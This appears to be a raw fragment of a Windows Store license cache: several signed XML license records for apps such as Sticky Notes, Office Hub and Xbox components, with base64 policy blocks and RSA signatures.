GkAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAIRuLpu9qirApUNUPckA6+q3k6bHMwbWiUvp1fECqGrm0wAAAAQAAACQDQ9qzAAAAEQAAAABAAIArLKen4HuUnKrrq1YzdUHRXTY/JTFnVgq6PBNIcEiXIcV57N0sNMvMyhxiGSxuLPLkSzuxE/Q8K/5lQpWpd53cw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>+r23sJV8Hm30R9Sna+rTGiUYYBsh7/PSf2m7vib1JXc=</DigestValue></Reference></SignedInfo><SignatureValue>YXnfIaMVIYybh7H2SLAQ9oHDzXLXqi2ax8KEaGn0R09pWCSa0VA4LRV7i+hPH4iBlACrr04wrJi3KIS0Oth70GqdxO5F7wRgkyHyZ+J1GZaGX+rXWYVbM+vox9DEYZYy1sp2Q+IDhwV73UxjFploPhkBbyB29zm63L7I6cNdZ/3cmG6xnj3qnY+RTp5+n97d2Wa0xvzcULMXdRmeWDSognumcxVlNK87M9iUJNWiqXOYV+sR9Cm8u6sWnhRqIJTm5DS+FVeouRbZ7Dh/xT+18Ta4e8rqChLe6DOe+l0+NKXJpdJY/tD9cpz89ZlRIX1j/ydNVJG6rTURxzwvZpCaow==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
gk<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="7204a5d0-dd30-4e38-ad28-3a9229777a8d" LicenseID="8cfc804a-d777-2361-1670-4569e516397e" ContentID="bbfd7549-71ae-d8fd-9f58-2ef4c874b21c" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NKNC0LD5NN6</ProductID><PFM>microsoft.xbox.tcui_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-18T21:33:22.2757183Z</IssuedDate><LastUpdateDate>2026-02-18T21:33:22.2665411Z</LastUpdateDate><BeginDate>2026-02-18T21:33:22.2665403Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI1ZGQwYmZlZi0zYzI1LTQ1NjAtOWYwYi03MjBmY2YwMDZhZTgifQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAQAiMJZpAwDLAAAAEAAAAEqA/Ix312EjFnBFaeUWOX7OAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeAAuAHQAYwB1AGkAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAIRuLpu9qirApUNUPckA6+q3k6bHMwbWiUvp1fECqGrmIAAAAAQAAAAiMJZpzAAAAEQAAAABAAIAzlXCGWsx4+xFLCU6YLNxhbS+TuiPamxdmbQ2eSpuqH8dk/llKrLocerg6JDP+udXvYaYqea79nOr/bUZHZVoBw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>nd4gnnYar3Y6tqZQgGAufrmSD66LRdfhaANPUFC+IAk=</DigestValue></Reference></SignedInfo><SignatureValue>F4vyp/Be0VAp5CBR2dY90D+NdYl+BV4QcSZw1OB658lewJwS3RzY8pmQ3dG1VXxqpDh2IizD73HLwb1Xaz1u9FTpUey6bZoF02+ffkkE27m5u3LXJhdsV3u8qz2TFhrGnzVUYsao1jmBMhiYqkiY7mMkMVxRR80Fgpmf5aQwLXG9GJkGwEzhQQfmkA0pWZk9RII9iSsJ9mviHMnJdKg3zKaJ2bS6SVYRTGRy+tgHy4hrRhoTcfsqrvxpLCqa9EMDpTXzEw/6J8vYY48+XQ5oV0d3j0bkwSf1mqWhvVQOFZElqmJtC5KoFya9XHzx63Lg6B564I4PIIXpO59omUE1kg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3fd408ef-feb2-458d-b2e2-1639cc3368f8" LicenseID="cb692946-a9f3-639d-1064-a6d75a01b9c3" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:19:09.6374888Z</IssuedDate><LastUpdateDate>2026-02-20T14:19:09.6260819Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD02OGUwMTllYi0wYjkyLTVlMDgtNWQ4Ni05YmZlNmRiYTg1MTcmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU5CTEdHSDRRR0hXJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiOGQ1NmU1N2ItODY2My0xMzZkLWZmNjktYTAwNGUyMTc4MjVhIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiNjhlMDE5ZWItMGI5Mi01ZTA4LTVkODYtOWJmZTZkYmE4NTE3IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOQkxHR0g0UUdIVyIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNDoxOTowOS42MjU5NDM2KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAgBebZhpAADLAAAAEAAAAEYpacvzqZ1jEGSm11oBucPOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAcwB0AGkAYwBrAHkAbgBvAHQAZQBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQD94/zSU/j7oKMeYVVKIhgAG1D6q+X6jOT39buUyn3fotMAAAAEAAAAXhQPaswAAABEAAAAAQACALrjHWgOwdne5O4n8LkWflzZPsmHCvi29b8BQYzsh1YA1/zVSLJqgoOCB174B77+i03LMehHwimbJCRnTfEt/nM=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>QSyJxfm+kaZ1bZeCJEdrpOCpEYuQBCNbWbM1f/C+YOk=</DigestValue></Reference></SignedInfo><SignatureValue>M/mX9KKYiK9SXs0RV8E6GE/Btg753tu3UpZ1PdKFosIY3PCyNV4Tbu4qVZF3Bdw11wIMQinm6m70+pqgn4FtOl5XEa8mRi0o1OtB2azkVd04dPxPXYO2QhtgT/wa48zT/Ezt+vdPNDAa/mm7UWy1YNA9+qn4CHfUUJBMCvp2TKWlf1RMZJncEFaPH8mFYNbpfbJp2WBgSGduR41faeshoYKle9UeAJgCjsuTq8UD9r7ydFN5B66g9tUAMttYfJsTXlJ3wOrIqKJgbTYgeZ0RoRrg0L1DHIQcwuepUXVKxXop4bjdlBUcpeA84IWv/2SbY6xA+X5bFS+YBU09pAdnLQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
t<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="b56e9af7-16f2-4af6-b0e7-1b1519f188e7" LicenseID="8d56e57b-8663-136d-ff69-a004e217825a" ContentID="68e019eb-0b92-5e08-5d86-9bfe6dba8517" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NBLGGH4QGHW</ProductID><PFM>microsoft.microsoftstickynotes_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:42:45.6054139Z</IssuedDate><LastUpdateDate>2026-02-20T09:42:45.5944196Z</LastUpdateDate><BeginDate>2026-02-20T09:42:45.5944189Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI4ZjRkNzdhYS1jNzJlLTQ4MjItODI5OS1hMDk1OTMyZWUzZGMifQ==</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAQCWLJhpAwDLAAAAEAAAAHvlVo1jhm0T/2mgBOIXglrOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAcwB0AGkAYwBrAHkAbgBvAHQAZQBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQD94/zSU/j7oKMeYVVKIhgAG1D6q+X6jOT39buUyn3foiAAAAAEAAAAliyYacwAAABEAAAAAQACABl7OiPE3iKF2yQ7bLa+G4H1XvoYYt5wquZ30jzjQHVtgQJua5dMKzmzgM+uHdHlyR5m7S8Oq7+bxUYx/Ns50P4=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>fm8BSzhSGAzNRtjT0pokTOK02Du185Bp/xgIRXA2hro=</DigestValue></Reference></SignedInfo><SignatureValue>JEmmiPUvBxbhANsg88/6Efg9ESwjwEDR7tnHviwg0QCxtrvV0mD2hGMUKr6mERgEgehUNRukvBYfCplQRQil5RTVxo6ORSCzdW+QwQ1sw8sS6KyR9ofuF8WRcKCb63I+q5w0tRUJovErNS0cD2WOaJ6na50ttxw6/tQcNpxx9EJEzDjzN90jH9oZx/jwuUJdTryYiiMZDnktVxB3mJTOfiu2t6eeQg18GYspUmp+97hqWZhEO4C5dyFl2Jvbjju83rs9Hj1mZhUHEIjIrEaTT3p8kqLm36ZiYKuzCgPbUTNedynRmtz+6Eo/xuZcVXKFkJDl/3ZPEfYSlnGp/ivfWw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="8d15dfbb-a037-4d3e-a65f-cf332eab07e8" LicenseID="630a70e7-1832-4f42-e2a2-5d35fdddc45f" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:59:01.4848941Z</IssuedDate><LastUpdateDate>2026-02-20T14:59:01.4729391Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1mYWNmOWRkZS0xZmYxLWI1N2QtNGQxZC1jZTQ3OWZkZDQyYWYmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkQyOVY5JnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiOGUzODNlOTAtYjJmOS03YmYyLTFkNWItNGU0N2RjYjIwMTRlIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiZmFjZjlkZGUtMWZmMS1iNTdkLTRkMWQtY2U0NzlmZGQ0MmFmIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JEMjlWOSIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNDo1OTowMS40NzI3NzcxKzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgC1dphpAADLAAAAEAAAAOdwCmMyGEJP4qJdNf3dxF/OAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAbwBmAGYAaQBjAGUAaAB1AGIAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKfucjdu7z/CHInCRwJqaMkPwytZJYbyvl7vGrURWJiP0wAAAAQAAAC1HQ9qzAAAAEQAAAABAAIAvyV2m4W3MUHVd/jvUCV1yNrNA+ezkkhnNnCkMkXqZV3mfPwr4D9PreL5wl5inNIjaecbr33O5Rycl/5fnzHmDg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>t39BDEf6i3L59mWs0SwP6N+NWBBolNvg7HGabEV91IQ=</DigestValue></Reference></SignedInfo><SignatureValue>R0l7kAxv5fE4GvK/jy8X3Uk7wzraolXcusKYJyAJAL/xI6e1miKMgtW/6m20epXRvhb3RZcjX7KRnPukRQ4q60E4e2dNTD91EjorQ+lclO5Bjj94ol7pjUJZVRM+oHPti3xhrR/Z518k2UCCt+qI+KzorL0+gTfjmW6A0OWCH0jXveRap9pAvBn+5ELr5Z9k+D2QcOllMul095gPltQQRmDFlmgWFG+ptLkOGch1ZqVivjn3Xocml32ml2vvndFT5/id49dm90EUY0D45JdTxiswmNPv5Pl+DK03155BOSoerETkQ/5BxoOJNXiNN812YQJ9hrIxihX6JylyITzDzA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="e7f3eff4-c096-462a-8532-d681926ffdfe" LicenseID="8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e" ContentID="facf9dde-1ff1-b57d-4d1d-ce479fdd42af" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRD29V9</ProductID><PFM>microsoft.microsoftofficehub_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:49:39.3925222Z</IssuedDate><LastUpdateDate>2026-02-20T14:49:39.3805531Z</LastUpdateDate><BeginDate>2026-02-20T14:49:39.3805525Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJlYWFjNmM2Yi0xMGE0LTQ2NTktODE1Yi00NGYxNTFlY2E2MWEifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQCDdJhpAwDLAAAAEAAAAJA+OI75svJ7HVtOR9yyAU7OAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAbwBmAGYAaQBjAGUAaAB1AGIAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKfucjdu7z/CHInCRwJqaMkPwytZJYbyvl7vGrURWJiPIAAAAAQAAACDdJhpzAAAAEQAAAABAAIAXL3PxoED0uqEvivyoy1hl0FfyCTEhruOOH06xRtk5lOaPMfTKHTsrLk4XQ60+ot721DPhdigOmKNwZadCEsRTw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>yn357iv96NKjL3LYkpT3BdvGyJJdV0SBqopCaY/8dik=</DigestValue></Reference></SignedInfo><SignatureValue>ld+hDUe5UuvSpKfZDTsUPwPycIqPpiLCp1BevAXvbN9vATSqx6nKgxzVlGDoM8IsiNXETawHBKCglYaoOz4KLVG9U/YLwOIpTiO+q8gf1CSIw1Lnfyrdfcp5cscMhvTrKTeiNTO7G0IMHsXSPPOmeCML3IT9pOE55mhKz1ps2LbAMDmYTQBwMxSR7wdM9vz7prU+TKxBBZnpzG8nHFRlpHxompVT2l1aG+Uy2VyfUrt9aWPdfKRuxrpNwGvl6OcIa8OPTfb81Yc6x4sS8SiQ6uKCH73TAV60gJDjC7wnWOMeahj0q2500ssFE/wpjI/bxi7SVFpd3alODAgw081kBg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
C<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="5988ff2a-9f2a-4368-b3a2-c251c15fd928" LicenseID="373e5b0d-c374-cbd6-2b66-fbd41484b1a0" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.XboxGamingOverlay_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T16:00:03.3566952Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:03.345148Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1iYWEwZjllNy1lMmMyLWM5NzMtZWFiZC0wMmJiZjc0MDI5MzQmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU5aS1BTVFNOVzRQJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiOTFhNWI0YzctMjlhOC1lYzgwLTQzMjEtZmJlY2VhOTA2NzA1Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiYmFhMGY5ZTctZTJjMi1jOTczLWVhYmQtMDJiYmY3NDAyOTM0IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOWktQU1RTTlc0UCIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNjowMDowMy4zNDQ4MTY2KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgADhZhpAADLAAAAEAAAAA1bPjd0w9bLK2b71BSEsaDOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABnAGEAbQBpAG4AZwBvAHYAZQByAGwAYQB5AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBLqS9metwLT0VkFXpAIJAIK587gJk2ny25PU30fwVKBtMAAAAEAAAAAywPaswAAABEAAAAAQACAM85a59kH2NlLsGb3FTOCY++rUYhsCNuQMMgWnWzxJBOdbJrZZBwuDLCRfx91RmmwWkZyXPmGRXpmEoXXrYNgag=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>3Y9OOUq0DH2NEayhNplzjqaLDRv3J70QAXyQ11+aR58=</DigestValue></Reference></SignedInfo><SignatureValue>Fz1Rz91wsRcDwVLEl/7ClQznisEgggJTOkbrfSp1dlGrwkkdqwROCmzpkml9sHbEUO1KDAMZtMjLxEzM4rUaAHV5r8lQXKaV/s6jZHazVhc6qWX3QLeBxfxYYi4FF62ITsaSJ2fZ2+eqUtXi4Pk2JNNxyCkK6034DcB1x7HyNpuTQpcA41lHHen2WVE0X3pED5m7HPOrgqfYLuExNQWi/4idz1Z6rRVQ7Jh7TbNTH3M09A3Hf4T5CTJCQ/4bSAXzuQB7hZ/NhXJago9Fl66EJ+ZTM5S2b7A6pCg0cNbYVwZnoGCKYwTTDFwV96hP1o/Xsl/HXU4o+8wHS+rBXe2mxA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
